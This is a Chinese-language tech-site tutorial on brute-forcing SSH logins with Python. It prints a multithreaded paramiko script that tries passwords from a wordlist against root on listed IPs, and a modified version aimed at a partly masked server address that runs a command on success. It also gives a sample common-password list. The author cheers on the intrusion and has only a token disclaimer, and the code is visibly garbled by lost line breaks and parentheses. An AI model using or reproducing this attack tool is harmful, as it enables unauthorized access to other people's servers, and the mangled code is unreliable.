您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

手把手教你用Python进行SSH暴力破解

时间:2020-09-04 10:11:06  来源:  作者:

暴力破解属于密码破解的一种,也是最常见的破解方法之一,通过不断的尝试来达到破解的目的,所以暴力破解的本质就是一种枚举。

现在也有很多流行的破解软件,不过个人觉得装上kail其实也就啥都有了,但是今天我们不说他们,今天主题是如何使用Python/ target=_blank class=infotextkey>Python来进行SSH的暴力破解。

手把手教你用Python进行SSH暴力破解

在Github上有一个库叫sshfucker,专门用于 SSH 的暴力破解。

https://github.com/TheKingOfDuck/sshfucker

这个模块很简单,代码实现不到70行,只封装了一个py文件。

# !/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko, threading, sys, time, os
class SSHThread(threading.Thread):def __init__(self, ip, port, timeout, dic, LogFile):threading.Thread.__init__(self)self.ip = ipself.port = portself.dict = dicself.timeout = timeoutself.LogFile = LogFiledef run(self):print("Start try ssh => %s" % self.ip)
username = "root"
try:password = open(self.dict).read.split('n')
except:print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:ssh = paramiko.SSHClientssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)print("nIP => %s, Login %s => %s n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s n" % (
time.asctime(time.localtime(time.time)), self.ip, self.port, username, pwd))
breakexcept:print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
passdef ViolenceSSH(ip, port, timeout, dic, LogFile):ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)ssh_scan.startdef main(ipFile, dic, log):
if ipFile == "-h":
helptry:ipText = open(ipFile).read.split('n')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target=ViolenceSSH, args=(ip, 22, 1, dic, log,)).start
except:print("Open IP list file `%s` error" % ipFile)
exit(1)
def help:print("python ssh.scan.py :n
修改dict下的ip文件,password按需求修改,然后执行脚本。 n")
exit(1)
if __name__ == '__main__':
fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath + "/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath + "/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath + "/log/sshd"
try:os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:exit(1)

我们可以明显的看到,这个模块依赖于 Paramiko

Paramiko 是用于建立 SSH2 连接(客户端或服务器)的库,基于Python实现。重点是使用 SSH2 作为 SSL 的替代方法,以在 Python 脚本之间建立安全连接。支持所有主要密码和哈希方法。也支持 SFTP 客户端和服务器模式。

Paramiko 库在Python自动化运维领域很受推崇。

pip install paramiko

然后我们还可以看到这个模块实际上就是利用 Paramiko 建立了 ssh 的客户端连接,批量导入文件,采用多线程的方式来进行暴力破解,思路很清晰。

我们修改代码实现如下

import sys
import paramikoimport threadingfrom concurrent.futures import ThreadPoolExecutor
ssh = paramiko.SSHClientssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)is_find=Falsedef SshCheck(password):try:
ssh.connect("119.23.xx.xx", 22, 'root', password, timeout=1.5)
stdin, stdout, stderr = ssh.exec_command('df')
result = stdout.readif result:sys.stdout.write('[OK]' + 't' + password + 'n')
global is_find
is_find = Trueexitexcept Exception as e:
print(e, "失败!!!")
finally:
ssh.closefiledata = open("pwds.txt", "r")
def run:
pool = ThreadPoolExecutor(3)
while 1:
global is_find
if is_find:breakline = filedata.readlineif not line:
breakline = line.strip("n")
pool.submit(SshCheck,line)run

采用了协程并发来进行ssh连接,如果成功破解我们就直接退出。

这里的pwds.txt 文件用于存放破解密码。

password
123456123456781234qwerty12345dragonpussybaseballfootballletmeinmonkey696969abc123mustangmichaelshadowmasterjennifer1111112000jordan......
python sshfucker.py

回车键一按,叮叮,收到服务器被入侵的短信!!!

手把手教你用Python进行SSH暴力破解

你也可以用你的云服务器或者自己搭建的服务器进行测试,只要 ssh验证的ip,端口和密码正确,即破解成功。

破解一直爽,一直破解一直爽,利用Python不仅可以对ssh进行暴力破解,数据库,网站后台管理也是同样的道理,只不过使用的库不同而已。

本文只是出于对Python的学习研究,请勿用于非法用途,小心被请喝茶哟!!



Tags:SSH暴力破解   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
事件起因从安全分析系统里面发现一条带有病毒的下载,然后针对这条记录展开了一系列的分析分析过程1.登录到被感染服务器,查看系统状况,hadoop 这个用户在 2020/6/18 20:32 从这...【详细内容】
2021-11-23  Tags: SSH暴力破解  点击:(161)  评论:(0)  加入收藏
暴力破解属于密码破解的一种,也是最常见的破解方法之一,通过不断的尝试来达到破解的目的,所以暴力破解的本质就是一种枚举。现在也有很多流行的破解软件,不过个人觉得装上kail其...【详细内容】
2020-09-04  Tags: SSH暴力破解  点击:(197)  评论:(0)  加入收藏
首先,技术宅先带大家来了解下,什么是SSH暴力破解?SSH暴力破解SSH暴力破解是指攻击者通过密码字典或随机组合密码的方式尝试登陆服务器(针对的是全网机器),这种攻击行为一般不会有...【详细内容】
2019-08-26  Tags: SSH暴力破解  点击:(392)  评论:(0)  加入收藏
▌简易百科推荐
大家好,今天继续我们的内网穿透系列教程,之前分享的是利用云服务器中转流量实现内网访问操作,考虑到有些人的服务器带宽可能是1M的,对远程桌面这种实时画面的支持实在不太好,今天...【详细内容】
2022-07-13  程序搭建指南    Tags:Frp   点击:(11)  评论:(0)  加入收藏
OSCS(开源软件供应链安全社区)推出免费的漏洞、投毒情报订阅服务,社区用户可通过机器人订阅情报信息:https://www.oscs1024.com/?src=wx背景概述黑客通常使用受感染的机器而不...【详细内容】
2022-07-11  OSCS开源社区    Tags:在线编程   点击:(6)  评论:(0)  加入收藏
安全研究人员警告说,黑客可以滥用在线编程学习平台来远程发起网络攻击、窃取数据并扫描易受攻击的设备,只需使用网络浏览器。至少有一个这样的平台,称为 DataCamp,允许威胁参与...【详细内容】
2022-07-10  黑客帮    Tags:黑客   点击:(5)  评论:(0)  加入收藏
如果想深入学习无线安全,可以参考评论区第一条COWPATTY破解密码 WPA密码通用破解工具 使用密码字段 cowpatty -r [.CAP包] -f [字典] -s [ssid] 使用彩虹表(PMK)genpmk -f 【字...【详细内容】
2022-07-06  IT知识一享    Tags:破解密码   点击:(23)  评论:(0)  加入收藏
据ZDnet网7月6日报道,ADVA宣布,POST卢森堡已部署ADVA的Oscilloquartz光学铯原子钟,以保护其基于GNSS的定时网络免受干扰和欺骗网络攻击。图片来自:ZDnet领先的ICT和电信服务提供...【详细内容】
2022-07-06  邮电设计技术    Tags:GNSS   点击:(14)  评论:(0)  加入收藏
近期,中国多家科研机构先后发现了“验证器”木马程序的活动痕迹。这让人不禁联想到西工大事件。所幸的是,没有造成重大威胁。 一旦“他们”成功在各个机构安插硬件或软件后门,...【详细内容】
2022-06-30  网盾网络安全培训    Tags:酸狐狸   点击:(38)  评论:(0)  加入收藏
美国这次难辞其咎,中国多个重要信息系统,发现有被后门程序植入的痕迹,而美国很可能就是始作俑者。 随着互联网技术的普及,包括交通、金融、医院、科研、工业生产等诸多领域,早已...【详细内容】
2022-06-29  国际科技资讯    Tags:酸狐狸   点击:(19)  评论:(0)  加入收藏
练练经常流动办公,连接不同地点的WIFI,为了安全,我往往会自查自己的电脑是否被监控。那么判断自己所用的电脑是否被监控,特别是使用所在公司或机构电脑时,更有必要查询是否被监控...【详细内容】
2022-06-24  练练在深圳    Tags:监控   点击:(0)  评论:(0)  加入收藏
目录:1.如何找漏洞2.找到后如何挖漏洞3.漏洞如何提交只要搞渗透,不就会听到很多行业内人前辈一直在重复:“信息搜集” 信息搜集有多重要,你搜集到的多少资产信息,决定了你后续...【详细内容】
2022-06-21  KaliMa    Tags:漏洞   点击:(54)  评论:(0)  加入收藏
IPS :入侵防御系统(IPS: Intrusion Prevention System)是电脑网络安全设施,是对防病毒软件(Antivirus Programs)和防火墙(Packet Filter, Application Gateway)的补充。 入侵...【详细内容】
2022-06-05  网盾网络安全培训    Tags:网络安全   点击:(37)  评论:(0)  加入收藏
站内最新
站内热门
站内头条